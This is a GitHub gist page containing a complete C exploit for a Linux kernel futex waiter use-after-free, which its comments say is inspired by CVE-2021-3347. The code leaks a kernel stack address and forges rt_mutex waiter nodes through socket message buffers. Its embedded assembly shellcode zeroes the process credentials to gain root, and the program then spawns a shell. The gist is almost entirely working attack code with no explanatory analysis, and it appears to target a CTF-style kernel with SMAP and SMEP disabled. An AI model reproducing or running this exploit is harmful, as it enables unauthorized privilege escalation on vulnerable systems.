Last active
November 22, 2021 09:30
-
-
Save st424204/e6395bdbed43b1bf308a4de2ba9d6ba0 to your computer and use it in GitHub Desktop.
Futex Waiter Kernel Stack Use After free
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Futex Waiter Kernel Stack Use After free | |
// Vuln inspired by CVE-2021-3347 | |
// exploit tech ref https://elongl.github.io/exploitation/2021/01/08/cve-2014-3153.html | |
// leak kernel stack and overwrite kernel stack return address to userspace ( SMAP & SMEP disable) | |
// gcc exp.c -static -masm=intel -o exp | |
#define _GNU_SOURCE /* See feature_test_macros(7) */ | |
#include <sys/socket.h> | |
#include <string.h> | |
#include <linux/futex.h> | |
#include <stdint.h> | |
#include <sys/time.h> | |
#include <sys/syscall.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <pthread.h> | |
#include <sys/mman.h> | |
#include <sys/time.h> | |
#include <sys/resource.h> | |
#include <signal.h> | |
#include <errno.h> | |
#include <limits.h> | |
#include <fcntl.h> | |
#include <linux/userfaultfd.h> | |
#include <sys/ioctl.h> | |
#include <poll.h> | |
#include <assert.h> | |
#include <sys/uio.h> | |
#include <sys/select.h> | |
#include <sys/time.h> | |
#include <linux/aio_abi.h> | |
#define errExit(msg) \ | |
do \ | |
{ \ | |
perror(msg); \ | |
exit(EXIT_FAILURE); \ | |
} while (0) | |
#define RB_RED 0 | |
#define RB_BLACK 1 | |
aio_context_t ctx_idp; | |
struct iocb iocb; | |
struct rb_node | |
{ | |
unsigned long __rb_parent_color; | |
struct rb_node *rb_right; | |
struct rb_node *rb_left; | |
} __attribute__((aligned(sizeof(long)))); | |
struct rt_mutex_waiter | |
{ | |
struct rb_node tree_entry; | |
struct rb_node pi_tree_entry; | |
void **task; | |
struct rt_mutex *lock; | |
int prio; | |
size_t deadline; | |
}; | |
struct rt_mutex_waiter left_waiter, gp_waiter, root_waiter, root2_waiter; | |
void *leak_waiter = NULL; | |
size_t data[0x10]; | |
int *pi; | |
int *npi; | |
int *npi2; | |
int *npi3; | |
int *npi4; | |
int pfd[2]; | |
int master[2]; | |
pthread_t tid[0x100]; | |
pthread_t small[0x100]; | |
struct mmsghdr msgvec; | |
struct iovec msg[7]; | |
#define BLOCKBUF "AAAAAAAA" | |
#define BLOCKBUFLEN strlen(BLOCKBUF) | |
#define COUNT_OF(arr) (sizeof(arr) / sizeof(arr[0])) | |
void shellcode() | |
{ | |
__asm__( | |
"leave;" | |
"mov rax,QWORD PTR gs:0x16d00;" | |
"mov rax,[rax+0x4d0];" | |
"add rax,0x638;" | |
"mov rax,[rax];" | |
"xor ebx,ebx;" | |
"mov [rax],rbx;" | |
"mov [rax+8],rbx;" | |
"mov [rax+0x10],rbx;" | |
"mov [rax+0x18],rbx;" | |
"mov [rax+0x20],rbx;" | |
"mov dword ptr [rax],0x100;" | |
"add rsp,0x128;" | |
"xor eax,eax;" | |
"pop rbx;" | |
"pop rbp;" | |
"pop r12;" | |
"pop r13;" | |
"pop r14;" | |
"pop r15;" | |
"ret;"); | |
} | |
int client_sockfd, server_sockfd; | |
void setup_msgs() | |
{ | |
int i; | |
for (i = 0; i < COUNT_OF(msg); i++) | |
{ | |
msg[i].iov_base = 0; | |
msg[i].iov_len = 0; | |
} | |
struct rt_mutex_waiter *waiter = (struct rt_mutex_waiter *)&msg[1].iov_base; | |
waiter->pi_tree_entry.__rb_parent_color = RB_BLACK; | |
waiter->prio = 0x1000; | |
waiter->pi_tree_entry.rb_left = &left_waiter.pi_tree_entry; | |
left_waiter.pi_tree_entry.__rb_parent_color = RB_BLACK; | |
left_waiter.prio = 0x1000; | |
msgvec.msg_hdr.msg_iov = msg; | |
msgvec.msg_hdr.msg_iovlen = COUNT_OF(msg); | |
} | |
void setup_sockets() | |
{ | |
int fds[2]; | |
assert(!socketpair(AF_UNIX, SOCK_STREAM, 0, fds)); | |
client_sockfd = fds[0]; | |
server_sockfd = fds[1]; | |
while (send(client_sockfd, BLOCKBUF, BLOCKBUFLEN, MSG_DONTWAIT) != -1) | |
; | |
assert(errno == EWOULDBLOCK); | |
} | |
void *job6(void *x) | |
{ | |
syscall(SYS_futex, pi, FUTEX_LOCK_PI, 0, 0, 0, 0); | |
} | |
void handle2(int sig) | |
{ | |
while (1) | |
sleep(1); | |
} | |
void* job0(void* x){ | |
setpriority(PRIO_PROCESS, 0, 15); | |
syscall(SYS_futex, pi, FUTEX_LOCK_PI, 0, 0, 0, 0); | |
read(pfd[0],&x,1); | |
syscall(SYS_futex, pi, FUTEX_LOCK_PI, 0, 0, 0, 0); | |
write(pfd[1],&x,1); | |
read(pfd[0],&x,1); | |
syscall(SYS_futex, npi3, FUTEX_WAKE, INT_MAX, 0, 0, 0); | |
sleep(2); | |
printf("%p\n", left_waiter.pi_tree_entry.rb_left); | |
printf("%p\n", &gp_waiter.pi_tree_entry); | |
size_t leak_addr = (size_t)left_waiter.pi_tree_entry.rb_left; | |
left_waiter.pi_tree_entry.__rb_parent_color = (size_t)(&gp_waiter.pi_tree_entry) | RB_RED; | |
left_waiter.pi_tree_entry.rb_right = (struct rb_node *)(leak_addr - 0x80); | |
pthread_t writer; | |
pthread_create(&writer, NULL, job6, NULL); | |
sleep(1); | |
mprotect((void *)(((size_t)(&gp_waiter)) & (~0xfff)), 0x2000, 7); | |
char *addr = (char *)((&gp_waiter.pi_tree_entry)); | |
memcpy(addr + 1,shellcode, 0x100); | |
sleep(1); | |
pthread_kill(tid[2], SIGUSR2); | |
while(1) sleep(1); | |
} | |
void* job1(void* x){ | |
setpriority(PRIO_PROCESS, 0, 16); | |
syscall(SYS_futex, pi, FUTEX_LOCK_PI, 0, 0, 0, 0); | |
syscall(SYS_futex, pi, FUTEX_UNLOCK_PI, 0, 0, 0, 0); | |
read(pfd[0],&x,1); | |
setup_msgs(); | |
setup_sockets(); | |
write(pfd[1],&x,1); | |
assert(!sendmmsg(client_sockfd, &msgvec, 1, 0)); | |
while (1) | |
sleep(1); | |
} | |
void* job2(void* x){ | |
signal(SIGUSR2, handle2); | |
syscall(SYS_futex, npi3, FUTEX_WAIT, 0, 0, 0, 0); | |
setpriority(PRIO_PROCESS, 0, 17); | |
syscall(SYS_futex, pi, FUTEX_LOCK_PI, 0, 0, 0, 0); | |
while(1) sleep(1); | |
} | |
int main(int argc,char** argv){ | |
setvbuf(stdout,0,2,0); | |
pi = (int *)mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | |
*pi = 0; | |
npi3 = &pi[3]; | |
pipe(pfd); | |
pthread_create(&tid[0],0,job0,0); | |
sleep(1); | |
pthread_create(&tid[1],0,job1,0); | |
pthread_create(&tid[2],0,job2,0); | |
puts("GOGO"); | |
int val = gettid() | 0x80000000; | |
*pi = val; | |
syscall(SYS_futex, pi, FUTEX_UNLOCK_PI, 0, 0, 0, 0); | |
write(pfd[1],pi,1); | |
for (;;) | |
{ | |
if (getuid() == 0) | |
break; | |
sleep(1); | |
} | |
system("sh"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment